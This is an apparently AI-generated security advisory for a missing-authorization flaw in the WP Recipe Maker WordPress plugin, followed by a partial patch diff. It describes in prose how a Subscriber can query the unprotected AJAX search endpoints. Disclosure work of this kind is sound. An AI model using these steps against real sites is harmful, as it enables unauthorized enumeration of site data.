Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24357: Recipe Maker <= 10.2.4 – Missing Authorization (wp-recipe-maker)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 10.2.4
Patched Version 10.3.0
Disclosed January 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24357:
The WP Recipe Maker plugin for WordPress versions up to and including 10.2.4 contains a missing capability check vulnerability. This flaw allows authenticated attackers with Subscriber-level permissions or higher to perform unauthorized administrative actions. The vulnerability affects the plugin’s AJAX search functionality, specifically the recipe and post search endpoints.

Root Cause:
The vulnerability exists in the `ajax_search_recipes()` and `ajax_search_posts()` functions within the `WPRM_Recipe_Manager` class. These functions are registered as AJAX handlers via `wp_ajax_wprm_search_recipes` and `wp_ajax_wprm_search_posts` actions. The functions only verify the AJAX nonce through `check_ajax_referer()` but lack any capability checks to ensure the requesting user has appropriate permissions. The vulnerable code is located in `/wp-recipe-maker/includes/public/class-wprm-recipe-manager.php` at lines 238-242 for `ajax_search_recipes()` and lines 322-326 for `ajax_search_posts()`. Both functions execute database queries without validating if the current user has the `edit_posts` capability.

Exploitation:
An attacker with Subscriber-level access can send POST requests to `/wp-admin/admin-ajax.php` with the `action` parameter set to either `wprm_search_recipes` or `wprm_search_posts`. The request must include a valid nonce obtained from the WordPress frontend. The `search` parameter contains the search term to query the database. The attacker can enumerate recipe and post data, including potentially sensitive information from custom fields or metadata. The attack vector requires authentication but minimal privileges.

Patch Analysis:
The patch adds capability checks to both vulnerable AJAX functions. In version 10.3.0, the `ajax_search_recipes()` function now includes `if (! current_user_can(‘edit_posts’))` before processing the search request. The same check is added to `ajax_search_posts()`. These changes ensure only users with appropriate editing permissions can access the search functionality. The patch also adds similar checks to `get_latest_recipes()` and `get_latest_posts()` helper functions to prevent unauthorized data enumeration through other code paths.

Impact:
Exploitation allows authenticated attackers with minimal privileges to search and enumerate all recipes and posts on the WordPress site. This includes access to recipe metadata, post titles, and potentially sensitive custom field data. While the vulnerability does not directly enable data modification, it facilitates reconnaissance and information gathering that could support further attacks. The CVSS score of 4.3 reflects the requirement for authentication and the limited impact scope.

Differential between vulnerable and patched code

Code Diff
--- a/wp-recipe-maker/includes/class-wp-recipe-maker.php
+++ b/wp-recipe-maker/includes/class-wp-recipe-maker.php
@@ -31,8 +31,8 @@
 	 * @since    1.0.0
 	 */
 	private function define_constants() {
-		define( 'WPRM_VERSION', '10.2.4' );
-		define( 'WPRM_PREMIUM_VERSION_RECOMMENDED', '10.2.0' );
+		define( 'WPRM_VERSION', '10.3.0' );
+		define( 'WPRM_PREMIUM_VERSION_RECOMMENDED', '10.3.0' );
 		define( 'WPRM_PREMIUM_VERSION_REQUIRED', '7.0.0' );
 		define( 'WPRM_POST_TYPE', 'wprm_recipe' );
 		define( 'WPRM_LIST_POST_TYPE', 'wprm_list' );
--- a/wp-recipe-maker/includes/public/api/class-wprm-api-equipment.php
+++ b/wp-recipe-maker/includes/public/api/class-wprm-api-equipment.php
@@ -68,6 +68,7 @@
 			'amazon_image_width' => isset( $meta['wprmp_amazon_image_width'] ) ? $meta['wprmp_amazon_image_width'] : '',
 			'amazon_image_height' => isset( $meta['wprmp_amazon_image_height'] ) ? $meta['wprmp_amazon_image_height'] : '',
 			'amazon_updated' => isset( $meta['wprmp_amazon_updated'] ) ? $meta['wprmp_amazon_updated'] : '',
+			'amazon_status' => isset( $meta['wprmp_amazon_status'] ) ? $meta['wprmp_amazon_status'] : '',
 			'wpupg_custom_link' => isset( $meta['wpupg_custom_link'] ) ? $meta['wpupg_custom_link'] : '',
 			'wpupg_custom_image' => isset( $meta['wpupg_custom_image'] ) ? $meta['wpupg_custom_image'] : '',
 		), $object, $meta );
@@ -144,6 +145,10 @@
 			$amazon_name = $meta['amazon_name'];
 			update_term_meta( $term->term_id, 'wprmp_amazon_name', $amazon_name );
 		}
+		if ( isset( $meta['amazon_status'] ) ) {
+			$amazon_status = $meta['amazon_status'];
+			update_term_meta( $term->term_id, 'wprmp_amazon_status', $amazon_status );
+		}
 		if ( isset( $meta['wpupg_custom_link'] ) ) {
 			$link = trim( $meta['wpupg_custom_link'] );
 			update_term_meta( $term->term_id, 'wpupg_custom_link', $link );
--- a/wp-recipe-maker/includes/public/api/class-wprm-api-manage-taxonomies.php
+++ b/wp-recipe-maker/includes/public/api/class-wprm-api-manage-taxonomies.php
@@ -176,6 +176,10 @@
 				$args['orderby'] = 'meta_value_num';
 				$args['meta_key'] = 'wprmp_amazon_updated';
 				break;
+			case 'amazon_status':
+				$args['orderby'] = 'meta_value';
+				$args['meta_key'] = 'wprmp_amazon_status';
+				break;
 			case 'wpupg_custom_link':
 				$args['orderby'] = 'meta_value';
 				$args['meta_key'] = 'wpupg_custom_link';
@@ -277,6 +281,43 @@
 							);
 						}
 						break;
+					case 'amazon_status':
+						if ( 'all' !== $value ) {
+							if ( 'empty' === $value ) {
+								// Filter for items with no ASIN.
+								$args['meta_query'][] = array(
+									'key' => 'wprmp_amazon_asin',
+									'compare' => 'NOT EXISTS',
+								);
+							} else if ( 'not_in_stock' === $value ) {
+								// Filter for any status that is NOT "IN_STOCK".
+								// Use custom WHERE clause to exclude items where status is "IN_STOCK" (plain or JSON).
+								$args['wprm_filter_not_in_stock'] = true;
+								// Also ensure ASIN exists (status only makes sense if ASIN is set).
+								$args['meta_query'][] = array(
+									'key' => 'wprmp_amazon_asin',
+									'compare' => 'EXISTS',
+								);
+								// Ensure status exists.
+								$args['meta_query'][] = array(
+									'key' => 'wprmp_amazon_status',
+									'compare' => 'EXISTS',
+								);
+							} else {
+								// Filter by status type (stored as plain string).
+								$args['meta_query'][] = array(
+									'key' => 'wprmp_amazon_status',
+									'compare' => '=',
+									'value' => $value,
+								);
+								// Also ensure ASIN exists (status only makes sense if ASIN is set).
+								$args['meta_query'][] = array(
+									'key' => 'wprmp_amazon_asin',
+									'compare' => 'EXISTS',
+								);
+							}
+						}
+						break;
 					case 'image_id':
 						if ( 'all' !== $value ) {
 							$compare = 'yes' === $value ? 'EXISTS' : 'NOT EXISTS';
@@ -459,6 +500,13 @@
 						$row->amazon_image_width = get_term_meta( $row->term_id, 'wprmp_amazon_image_width', true );
 						$row->amazon_image_height = get_term_meta( $row->term_id, 'wprmp_amazon_image_height', true );
 						$row->amazon_updated = get_term_meta( $row->term_id, 'wprmp_amazon_updated', true );
+						$row->amazon_status = get_term_meta( $row->term_id, 'wprmp_amazon_status', true );
+						// Get non-affiliate product URL for linking.
+						if ( $row->amazon_asin && class_exists( 'WPRMP_Amazon' ) ) {
+							$row->amazon_product_url = WPRMP_Amazon::get_product_url( $row->amazon_asin );
+						} else {
+							$row->amazon_product_url = '';
+						}
 						$row->product = class_exists( 'WPRMPP_Meta' ) ? WPRMPP_Meta::get_product_from_term_id( $row->term_id ) : false;
 						break;
 					case 'suitablefordiet':
@@ -491,12 +539,26 @@
 	 *
 	 * @since	5.0.0
 	 */
-	public static function api_manage_taxonomies_query( $pieces, $taxonomies, $args ) {
+	public static function api_manage_taxonomies_query( $pieces, $taxonomies, $args ) {
+		global $wpdb;
+
 		$id_search = isset( $args['wprm_search_id'] ) ? $args['wprm_search_id'] : false;
 		if ( $id_search ) {
 			$pieces['where'] .= ' AND t.term_id LIKE '%' . esc_sql( $wpdb->esc_like( $id_search ) ) . '%'';
 		}

+		// Filter for "not_in_stock" - exclude items where status is "IN_STOCK".
+		$filter_not_in_stock = isset( $args['wprm_filter_not_in_stock'] ) ? $args['wprm_filter_not_in_stock'] : false;
+		if ( $filter_not_in_stock ) {
+			// Exclude terms where amazon_status is exactly "IN_STOCK".
+			$pieces['where'] .= " AND NOT EXISTS (
+				SELECT 1 FROM {$wpdb->termmeta} tm
+				WHERE tm.term_id = t.term_id
+				AND tm.meta_key = 'wprmp_amazon_status'
+				AND tm.meta_value = 'IN_STOCK'
+			)";
+		}
+
 		return $pieces;
 	}

--- a/wp-recipe-maker/includes/public/class-wprm-assets.php
+++ b/wp-recipe-maker/includes/public/class-wprm-assets.php
@@ -226,6 +226,7 @@
 			),
 			'eol' => PHP_EOL,
 			'latest_recipes' => WPRM_Recipe_Manager::get_latest_recipes( 20, 'id' ),
+			'latest_posts' => WPRM_Recipe_Manager::get_latest_posts( 20, 'id' ),
 			'latest_lists' => WPRM_List_Manager::get_latest_lists( 20, 'id' ),
 			'recipe_templates' => WPRM_Template_Manager::get_templates(),
 			'addons' => array(
--- a/wp-recipe-maker/includes/public/class-wprm-blocks.php
+++ b/wp-recipe-maker/includes/public/class-wprm-blocks.php
@@ -368,6 +368,10 @@
 			} else {
 				$output .= '<style type="text/css">' . WPRM_Assets::get_custom_css( 'recipe' ) . '</style>';
 			}
+
+			// Calculate and store the position of this roundup item block for counter display.
+			// This ensures the counter shows the correct number in the backend editor.
+			self::calculate_roundup_block_position( $atts );
 		}

 		$output .= WPRM_Recipe_Roundup::shortcode( $atts );
@@ -376,6 +380,140 @@
 	}

 	/**
+	 * Calculate and store the position of a roundup item block in the post content.
+	 * This is used to display the correct counter number in the backend editor.
+	 *
+	 * @since	10.0.0
+	 * @param	array $atts Block attributes.
+	 */
+	private static function calculate_roundup_block_position( $atts ) {
+		// Initialize static variables to track block positions.
+		static $position_cache = null;
+		static $current_position = 0;
+
+		// Get post content if we haven't cached positions yet.
+		if ( null === $position_cache ) {
+			$position_cache = array();
+			$current_position = 0;
+
+			// Try to get post content from various sources.
+			$post_content = '';
+			$post_id = 0;
+
+			// Try to get from global post.
+			if ( isset( $GLOBALS['post'] ) && $GLOBALS['post'] ) {
+				$post_id = $GLOBALS['post']->ID;
+				$post_content = $GLOBALS['post']->post_content;
+			}
+
+			// Try to get from request parameters (REST API).
+			if ( empty( $post_content ) ) {
+				// Check various possible parameter names.
+				$possible_params = array( 'post_id', 'postId', 'context[postId]' );
+				foreach ( $possible_params as $param ) {
+					if ( isset( $_REQUEST[ $param ] ) ) {
+						$post_id = intval( $_REQUEST[ $param ] );
+						break;
+					}
+				}
+
+				// Also check JSON body for REST API requests.
+				if ( ! $post_id && ! empty( $_SERVER['REQUEST_METHOD'] ) && 'POST' === $_SERVER['REQUEST_METHOD'] ) {
+					$json_input = file_get_contents( 'php://input' );
+					if ( ! empty( $json_input ) ) {
+						$json_data = json_decode( $json_input, true );
+						if ( $json_data ) {
+							if ( isset( $json_data['post_id'] ) ) {
+								$post_id = intval( $json_data['post_id'] );
+							} elseif ( isset( $json_data['context']['postId'] ) ) {
+								$post_id = intval( $json_data['context']['postId'] );
+							}
+						}
+					}
+				}
+
+				if ( $post_id ) {
+					$post = get_post( $post_id );
+					if ( $post ) {
+						$post_content = $post->post_content;
+					}
+				}
+			}
+
+			// Parse blocks to find all roundup item blocks.
+			if ( ! empty( $post_content ) && function_exists( 'parse_blocks' ) ) {
+				$blocks = parse_blocks( $post_content );
+				if ( ! empty( $blocks ) ) {
+					self::extract_roundup_blocks( $blocks, $position_cache );
+				}
+			}
+		}
+
+		// Create a unique identifier for this block based on its attributes.
+		// Use a combination of id, link, and other distinguishing attributes.
+		$block_key = '';
+		if ( ! empty( $atts['id'] ) ) {
+			$block_key = 'id_' . $atts['id'];
+		} elseif ( ! empty( $atts['link'] ) ) {
+			$block_key = 'link_' . md5( $atts['link'] );
+		} else {
+			// Fallback: use a hash of all attributes.
+			$block_key = 'hash_' . md5( serialize( $atts ) );
+		}
+
+		// If we have cached positions, use them.
+		if ( isset( $position_cache[ $block_key ] ) ) {
+			$GLOBALS['wprm_roundup_block_position'] = $position_cache[ $block_key ];
+			return;
+		}
+
+		// Otherwise, increment position counter (for blocks not found in cache).
+		$current_position++;
+		$GLOBALS['wprm_roundup_block_position'] = $current_position;
+	}
+
+	/**
+	 * Recursively extract roundup item blocks from parsed blocks.
+	 *
+	 * @since	10.0.0
+	 * @param	array $blocks Parsed block list.
+	 * @param	array $position_cache Reference to position cache array.
+	 */
+	private static function extract_roundup_blocks( $blocks, &$position_cache ) {
+		$position = 0;
+
+		foreach ( $blocks as $block ) {
+			if ( ! is_array( $block ) ) {
+				continue;
+			}
+
+			// Check if this is a roundup item block.
+			if ( isset( $block['blockName'] ) && 'wp-recipe-maker/recipe-roundup-item' === $block['blockName'] ) {
+				$position++;
+				$attrs = isset( $block['attrs'] ) ? $block['attrs'] : array();
+
+				// Create a unique identifier for this block.
+				$block_key = '';
+				if ( ! empty( $attrs['id'] ) ) {
+					$block_key = 'id_' . $attrs['id'];
+				} elseif ( ! empty( $attrs['link'] ) ) {
+					$block_key = 'link_' . md5( $attrs['link'] );
+				} else {
+					$block_key = 'hash_' . md5( serialize( $attrs ) );
+				}
+
+				// Store position for this block.
+				$position_cache[ $block_key ] = $position;
+			}
+
+			// Recursively check inner blocks.
+			if ( ! empty( $block['innerBlocks'] ) && is_array( $block['innerBlocks'] ) ) {
+				self::extract_roundup_blocks( $block['innerBlocks'], $position_cache );
+			}
+		}
+	}
+
+	/**
 	 * Render the recipe snippet block.
 	 *
 	 * @since	6.9.0
--- a/wp-recipe-maker/includes/public/class-wprm-list-shortcode.php
+++ b/wp-recipe-maker/includes/public/class-wprm-list-shortcode.php
@@ -52,6 +52,12 @@
 			$internal_post_ids = array();
 			$items = $list->items();

+			// In Gutenberg preview, calculate starting position for roundup items in this list.
+			$roundup_position = 0;
+			if ( WPRM_Context::is_gutenberg_preview() ) {
+				$roundup_position = self::get_roundup_items_before_list( $list_id );
+			}
+
 			foreach ( $items as $item ) {
 				if ( 'roundup' === $item['type'] ) {
 					$data = $item['data'];
@@ -66,14 +72,21 @@
 						$data['template'] = $list->template();
 					}

-					// Generate shortcode.
+					// In Gutenberg preview, set position for this roundup item.
+					if ( WPRM_Context::is_gutenberg_preview() ) {
+						$roundup_position++;
+						$GLOBALS['wprm_roundup_block_position'] = $roundup_position;
+					}
+
+					// Generate and process shortcode immediately to use the position context.
 					$shortcode = '[wprm-recipe-roundup-item ';
 					foreach ( $data as $key => $value ) {
 						$shortcode .= $key . '="' . self::clean_up_shortcode_attribute( $value ) . '" ';
 					}
 					$shortcode = trim( $shortcode ) . ']';

-					$output .= $shortcode;
+					// Process shortcode immediately so position context is available.
+					$output .= do_shortcode( $shortcode );
 				}

 				if ( 'text' === $item['type'] ) {
@@ -104,8 +117,8 @@
 				$align_class = ' align' . esc_attr( $atts['align'] );
 			}

-			// Output for list.
-			$output = '<div id="wprm-list-' . esc_attr( $atts['id'] ) . '" class="wprm-list' . esc_attr( $align_class ) . '">' . $metadata . do_shortcode( $output ) . '</div>';
+			// Output for list. Note: roundup items are already processed above, so no need to call do_shortcode again.
+			$output = '<div id="wprm-list-' . esc_attr( $atts['id'] ) . '" class="wprm-list' . esc_attr( $align_class ) . '">' . $metadata . $output . '</div>';
 		}

 		return $output;
@@ -125,6 +138,150 @@

 		return $value;
 	}
+
+	/**
+	 * Get count of roundup items that appear before this list in the post content.
+	 * Used to calculate correct position numbers for items within the list.
+	 *
+	 * @since	10.0.0
+	 * @param	int $list_id ID of the current list.
+	 * @return	int Count of roundup items before this list.
+	 */
+	private static function get_roundup_items_before_list( $list_id ) {
+		static $count_cache = null;
+		static $cached_list_id = null;
+
+		// Cache the count per list to avoid recalculating.
+		if ( null !== $count_cache && $cached_list_id === $list_id ) {
+			return $count_cache;
+		}
+
+		$count = 0;
+
+		// Try to get post content from various sources.
+		$post_content = '';
+		$post_id = 0;
+
+		// Try to get from global post.
+		if ( isset( $GLOBALS['post'] ) && $GLOBALS['post'] ) {
+			$post_id = $GLOBALS['post']->ID;
+			$post_content = $GLOBALS['post']->post_content;
+		}
+
+		// Try to get from request parameters (REST API).
+		if ( empty( $post_content ) ) {
+			// Check various possible parameter names.
+			$possible_params = array( 'post_id', 'postId', 'context[postId]' );
+			foreach ( $possible_params as $param ) {
+				if ( isset( $_REQUEST[ $param ] ) ) {
+					$post_id = intval( $_REQUEST[ $param ] );
+					break;
+				}
+			}
+
+			// Also check JSON body for REST API requests.
+			if ( ! $post_id && ! empty( $_SERVER['REQUEST_METHOD'] ) && 'POST' === $_SERVER['REQUEST_METHOD'] ) {
+				$json_input = file_get_contents( 'php://input' );
+				if ( ! empty( $json_input ) ) {
+					$json_data = json_decode( $json_input, true );
+					if ( $json_data ) {
+						if ( isset( $json_data['post_id'] ) ) {
+							$post_id = intval( $json_data['post_id'] );
+						} elseif ( isset( $json_data['context']['postId'] ) ) {
+							$post_id = intval( $json_data['context']['postId'] );
+						}
+					}
+				}
+			}
+
+			if ( $post_id ) {
+				$post = get_post( $post_id );
+				if ( $post ) {
+					$post_content = $post->post_content;
+				}
+			}
+		}
+
+		// Count roundup item blocks that appear before this list block.
+		if ( ! empty( $post_content ) && function_exists( 'parse_blocks' ) ) {
+			$blocks = parse_blocks( $post_content );
+			if ( ! empty( $blocks ) ) {
+				$found_list = false;
+				$count = self::count_roundup_items_before_list( $blocks, $list_id, $found_list );
+			}
+		}
+
+		$count_cache = $count;
+		$cached_list_id = $list_id;
+		return $count;
+	}
+
+	/**
+	 * Recursively count roundup items that appear before a specific list block.
+	 *
+	 * @since	10.0.0
+	 * @param	array $blocks Parsed block list.
+	 * @param	int    $list_id ID of the list to find.
+	 * @param	bool   $found_list Reference flag indicating if list was found.
+	 * @return	int Count of roundup items before the list.
+	 */
+	private static function count_roundup_items_before_list( $blocks, $list_id, &$found_list ) {
+		$count = 0;
+
+		foreach ( $blocks as $block ) {
+			if ( ! is_array( $block ) ) {
+				continue;
+			}
+
+			// Check if this is the list block we're looking for.
+			if ( isset( $block['blockName'] ) && 'wp-recipe-maker/list' === $block['blockName'] ) {
+				$attrs = isset( $block['attrs'] ) ? $block['attrs'] : array();
+				if ( isset( $attrs['id'] ) && intval( $attrs['id'] ) === $list_id ) {
+					$found_list = true;
+					// Stop counting once we find the target list.
+					break;
+				}
+			}
+
+			// Count roundup item blocks before finding the target list.
+			if ( ! $found_list && isset( $block['blockName'] ) && 'wp-recipe-maker/recipe-roundup-item' === $block['blockName'] ) {
+				$count++;
+			}
+
+			// Also count roundup items from list blocks that appear before this one.
+			if ( ! $found_list && isset( $block['blockName'] ) && 'wp-recipe-maker/list' === $block['blockName'] ) {
+				$attrs = isset( $block['attrs'] ) ? $block['attrs'] : array();
+				$other_list_id = isset( $attrs['id'] ) ? intval( $attrs['id'] ) : 0;
+				if ( $other_list_id && $other_list_id !== $list_id ) {
+					// Count roundup items in this other list.
+					// Only do this if WPRM_List_Manager is available to avoid errors.
+					if ( class_exists( 'WPRM_List_Manager' ) ) {
+						$other_list = WPRM_List_Manager::get_list( $other_list_id );
+						if ( $other_list && method_exists( $other_list, 'items' ) ) {
+							$other_items = $other_list->items();
+							if ( is_array( $other_items ) ) {
+								foreach ( $other_items as $item ) {
+									if ( is_array( $item ) && isset( $item['type'] ) && 'roundup' === $item['type'] ) {
+										$count++;
+									}
+								}
+							}
+						}
+					}
+				}
+			}
+
+			// Recursively check inner blocks.
+			if ( ! empty( $block['innerBlocks'] ) && is_array( $block['innerBlocks'] ) ) {
+				$count += self::count_roundup_items_before_list( $block['innerBlocks'], $list_id, $found_list );
+				if ( $found_list ) {
+					break;
+				}
+			}
+		}
+
+		return $count;
+	}
 }

 WPRM_List_Shortcode::init();
--- a/wp-recipe-maker/includes/public/class-wprm-metadata-video.php
+++ b/wp-recipe-maker/includes/public/class-wprm-metadata-video.php
@@ -124,6 +124,7 @@
 		// Only check if there actually is some embed code.
 		if ( $embed_code ) {
 			$metadata = $metadata ? $metadata : self::check_for_youtube_embed( $embed_code );
+			$metadata = $metadata ? $metadata : self::check_for_vimeo_embed( $embed_code );
 			$metadata = $metadata ? $metadata : self::check_for_mediavine_embed( $embed_code, $recipe );
 			$metadata = $metadata ? $metadata : self::check_for_adthrive_embed( $embed_code );
 			$metadata = $metadata ? $metadata : self::check_for_wp_youtube_lyte_embed( $embed_code );
@@ -215,6 +216,75 @@
 	}

 	/**
+	 * Check the embed code for a Vimeo video.
+	 *
+	 * @since   8.X.X
+	 * @param	string $embed_code Embed code to check.
+	 */
+	private static function check_for_vimeo_embed( $embed_code ) {
+		$metadata = false;
+		$found_vimeo_id = false;
+
+		// Check for Vimeo player URL format: player.vimeo.com/video/ID
+		preg_match( '/player.vimeo.com/video/(d+)/i', $embed_code, $matches );
+		if ( $matches && isset( $matches[1] ) ) {
+			$found_vimeo_id = $matches[1];
+		}
+
+		// Check for standard Vimeo URL format: vimeo.com/ID
+		if ( ! $found_vimeo_id ) {
+			preg_match( '/vimeo.com/(d+)/i', $embed_code, $matches );
+			if ( $matches && isset( $matches[1] ) ) {
+				$found_vimeo_id = $matches[1];
+			}
+		}
+
+		// Try oEmbed with standard Vimeo URL format.
+		if ( $found_vimeo_id ) {
+			$vimeo_url = 'https://vimeo.com/' . $found_vimeo_id;
+			$metadata = self::check_for_oembed( $vimeo_url );
+
+			// If oEmbed didn't return all required fields, try to extract from embed code.
+			if ( $metadata && ( ! $metadata['uploadDate'] || ! $metadata['name'] || ! $metadata['thumbnailUrl'] ) ) {
+				// Try to extract title from iframe title attribute.
+				if ( ! $metadata['name'] ) {
+					preg_match( '/titles*=s*"([^"]+)"/i', $embed_code, $title_match );
+					if ( $title_match && isset( $title_match[1] ) ) {
+						$metadata['name'] = $title_match[1];
+					}
+				}
+
+				// Try Vimeo oEmbed API directly if WordPress oEmbed didn't work.
+				if ( ! $metadata['uploadDate'] || ! $metadata['thumbnailUrl'] ) {
+					$vimeo_oembed_url = 'https://vimeo.com/api/oembed.json?url=' . urlencode( $vimeo_url );
+					$response = wp_remote_get( $vimeo_oembed_url );
+					$body = ! is_wp_error( $response ) && isset( $response['body'] ) ? json_decode( $response['body'] ) : false;
+
+					if ( $body ) {
+						if ( ! $metadata['name'] && isset( $body->title ) ) {
+							$metadata['name'] = $body->title;
+						}
+						if ( ! $metadata['thumbnailUrl'] && isset( $body->thumbnail_url ) ) {
+							$metadata['thumbnailUrl'] = $body->thumbnail_url;
+						}
+						if ( ! $metadata['uploadDate'] && isset( $body->upload_date ) ) {
+							$metadata['uploadDate'] = date( 'c', strtotime( $body->upload_date ) );
+						}
+					}
+				}
+
+				// If still missing required fields, don't return incomplete metadata.
+				// Google requires uploadDate, name, and thumbnailUrl for VideoObject.
+				if ( ! $metadata['uploadDate'] || ! $metadata['name'] || ! $metadata['thumbnailUrl'] ) {
+					$metadata = false;
+				}
+			}
+		}
+
+		return $metadata;
+	}
+
+	/**
 	 * Check the embed code for a YouTube video.
 	 *
 	 * @since   8.1.0
@@ -469,10 +539,29 @@
 			return 'https://www.youtube.com/watch?v=' . $match[2];
 		}

+		// Check for Vimeo player URL and convert to standard format.
+		preg_match( '/player.vimeo.com/video/(d+)/i', $embed_code, $match );
+		if ( $match && isset( $match[1] ) ) {
+			return 'https://vimeo.com/' . $match[1];
+		}
+
+		// Check for standard Vimeo URL.
+		preg_match( '/vimeo.com/(d+)/i', $embed_code, $match );
+		if ( $match && isset( $match[1] ) ) {
+			return 'https://vimeo.com/' . $match[1];
+		}
+
 		// Check for src="" in the embed code.
 		preg_match( '/srcs*=s*"([^"]+)"/im', $embed_code, $match );
 		if ( $match && isset( $match[1] ) ) {
-			return $match[1];
+			$url = $match[1];
+
+			// Convert Vimeo player URLs to standard format.
+			if ( preg_match( '/player.vimeo.com/video/(d+)/i', $url, $vimeo_match ) ) {
+				return 'https://vimeo.com/' . $vimeo_match[1];
+			}
+
+			return $url;
 		}

 		return false;
--- a/wp-recipe-maker/includes/public/class-wprm-metadata.php
+++ b/wp-recipe-maker/includes/public/class-wprm-metadata.php
@@ -38,7 +38,6 @@

 		add_filter( 'wpseo_schema_graph_pieces', array( __CLASS__, 'wpseo_schema_graph_pieces' ), 1, 2 );
 		add_filter( 'wpseo_schema_graph', array( __CLASS__, 'wpseo_schema_graph' ), 99, 2 );
-		add_filter( 'wpseo_opengraph_type', array( __CLASS__, 'wpseo_opengraph_type' ), 99 );
 	}

 	/**
@@ -229,24 +228,6 @@
 	}

 	/**
-	 * Yoast SEO filter open graph type
-	 *
-	 * @since	9.3.0
-	 * @param string                 $type         The type.
-	 */
-	public static function wpseo_opengraph_type( $type ) {
-		if ( self::use_yoast_seo_integration() ) {
-			$recipe_ids_to_output_metadata_for = self::get_recipe_ids_to_output();
-
-			if ( $recipe_ids_to_output_metadata_for ) {
-				$type = 'recipe';
-			}
-		}
-
-		return $type;
-	}
-
-	/**
 	 * Register image sizes for the recipe metadata.
 	 *
 	 * @since    1.25.0
--- a/wp-recipe-maker/includes/public/class-wprm-recipe-manager.php
+++ b/wp-recipe-maker/includes/public/class-wprm-recipe-manager.php
@@ -46,6 +46,8 @@
 		add_action( 'wp_ajax_wprm_get_recipe', array( __CLASS__, 'ajax_get_recipe' ) );
 		add_action( 'wp_ajax_wprm_search_recipes', array( __CLASS__, 'ajax_search_recipes' ) );
 		add_action( 'wp_ajax_wprm_search_posts', array( __CLASS__, 'ajax_search_posts' ) );
+		add_action( 'wp_ajax_wprm_create_post_for_recipe', array( __CLASS__, 'ajax_create_post_for_recipe' ) );
+		add_action( 'wp_ajax_wprm_add_recipe_to_post', array( __CLASS__, 'ajax_add_recipe_to_post' ) );

 		add_action( 'wp_footer', array( __CLASS__, 'recipe_data_in_footer' ) );
 	}
@@ -82,6 +84,11 @@
 			$posts = $query->posts;

 			foreach ( $posts as $post ) {
+				// Only include recipes the user can read/edit to respect WordPress access controls.
+				if ( ! current_user_can( 'read_post', $post->ID ) ) {
+					continue;
+				}
+
 				$recipes[ $post->ID ] = array(
 					'name' => $post->post_title,
 				);
@@ -124,6 +131,11 @@
 			$posts = $query->posts;

 			foreach ( $posts as $post ) {
+				// Only include recipes the user can read/edit to respect WordPress access controls.
+				if ( ! current_user_can( 'read_post', $post->ID ) ) {
+					continue;
+				}
+
 				// Special case.
 				if ( 'manage' === $display ) {
 					$recipe = self::get_recipe( $post );
@@ -154,12 +166,92 @@
 	}

 	/**
+	 * Get latest posts.
+	 *
+	 * @since    9.0.0
+	 * @param    int    $limit   Number of posts to get.
+	 * @param    string $display Display format ('name' or 'id').
+	 * @return   array  Array of posts with 'id' and 'text' keys.
+	 */
+	public static function get_latest_posts( $limit = 10, $display = 'name' ) {
+		$posts = array();
+
+		// Get allowed post types (exclude recipes and attachments).
+		$ignore_post_types = array(
+			WPRM_POST_TYPE,
+			'attachment',
+		);
+		$public_post_types = get_post_types( array( 'public' => true ), 'names' );
+		$allowed_post_types = array_diff( $public_post_types, $ignore_post_types );
+
+		// If no allowed post types, return empty array.
+		if ( empty( $allowed_post_types ) ) {
+			return array();
+		}
+
+		$args = array(
+			'post_type' => $allowed_post_types,
+			'post_status' => 'any',
+			'orderby' => 'date',
+			'order' => 'DESC',
+			'posts_per_page' => $limit,
+			'offset' => 0,
+			'suppress_filters' => true,
+			'lang' => '',
+		);
+
+		$query = new WP_Query( $args );
+
+		if ( $query->have_posts() ) {
+			$query_posts = $query->posts;
+			$post_type_cache = array(); // Cache post type objects.
+
+			foreach ( $query_posts as $post ) {
+				// Only include posts the user can read/edit to respect WordPress access controls.
+				if ( ! current_user_can( 'read_post', $post->ID ) ) {
+					continue;
+				}
+
+				// Get post type name (cached).
+				if ( ! isset( $post_type_cache[ $post->post_type ] ) ) {
+					$post_type_object = get_post_type_object( $post->post_type );
+					$post_type_cache[ $post->post_type ] = $post_type_object ? $post_type_object->labels->singular_name : $post->post_type;
+				}
+				$post_type_label = $post_type_cache[ $post->post_type ];
+
+				switch ( $display ) {
+					case 'id':
+						$text = $post_type_label . ' - ' . $post->ID . ' - ' . $post->post_title;
+						break;
+					default:
+						$text = $post->post_title;
+				}
+
+				$posts[] = array(
+					'id' => $post->ID,
+					'text' => $text,
+				);
+			}
+		}
+
+		return $posts;
+	}
+
+	/**
 	 * Search for recipes by keyword.
 	 *
 	 * @since    1.8.0
 	 */
 	public static function ajax_search_recipes() {
 		if ( check_ajax_referer( 'wprm', 'security', false ) ) {
+			// Require edit_posts capability to prevent unauthorized access.
+			if ( ! current_user_can( 'edit_posts' ) ) {
+				wp_send_json_error( array(
+					'message' => __( 'You do not have permission to perform this action.', 'wp-recipe-maker' ),
+				) );
+				wp_die();
+			}
+
 			$search = isset( $_POST['search'] ) ? sanitize_text_field( wp_unslash( $_POST['search'] ) ) : ''; // Input var okay.

 			$recipes = array();
@@ -197,6 +289,11 @@
 			}

 			foreach ( $posts as $post ) {
+				// Only include recipes the user can read/edit to respect WordPress access controls.
+				if ( ! current_user_can( 'read_post', $post->ID ) ) {
+					continue;
+				}
+
 				$recipes[] = array(
 					'id' => $post->ID,
 					'text' => $post->post_title,
@@ -224,13 +321,39 @@
 	 */
 	public static function ajax_search_posts() {
 		if ( check_ajax_referer( 'wprm', 'security', false ) ) {
+			// Require edit_posts capability to prevent unauthorized access.
+			if ( ! current_user_can( 'edit_posts' ) ) {
+				wp_send_json_error( array(
+					'message' => __( 'You do not have permission to perform this action.', 'wp-recipe-maker' ),
+				) );
+				wp_die();
+			}
+
 			$search = isset( $_POST['search'] ) ? sanitize_text_field( wp_unslash( $_POST['search'] ) ) : ''; // Input var okay.

 			$found_posts = array();
 			$found_posts_with_id = array();
+			$seen_post_ids = array(); // Track post IDs to prevent duplicates.
+
+			// Get allowed post types (exclude recipes and attachments).
+			$ignore_post_types = array(
+				WPRM_POST_TYPE,
+				'attachment',
+			);
+			$public_post_types = get_post_types( array( 'public' => true ), 'names' );
+			$allowed_post_types = array_diff( $public_post_types, $ignore_post_types );
+
+			// If no allowed post types, return empty results.
+			if ( empty( $allowed_post_types ) ) {
+				wp_send_json_success( array(
+					'posts' => array(),
+					'posts_with_id' => array(),
+				) );
+				wp_die();
+			}

 			$args = array(
-				'post_type' => 'any',
+				'post_type' => $allowed_post_types,
 				'post_status' => 'any',
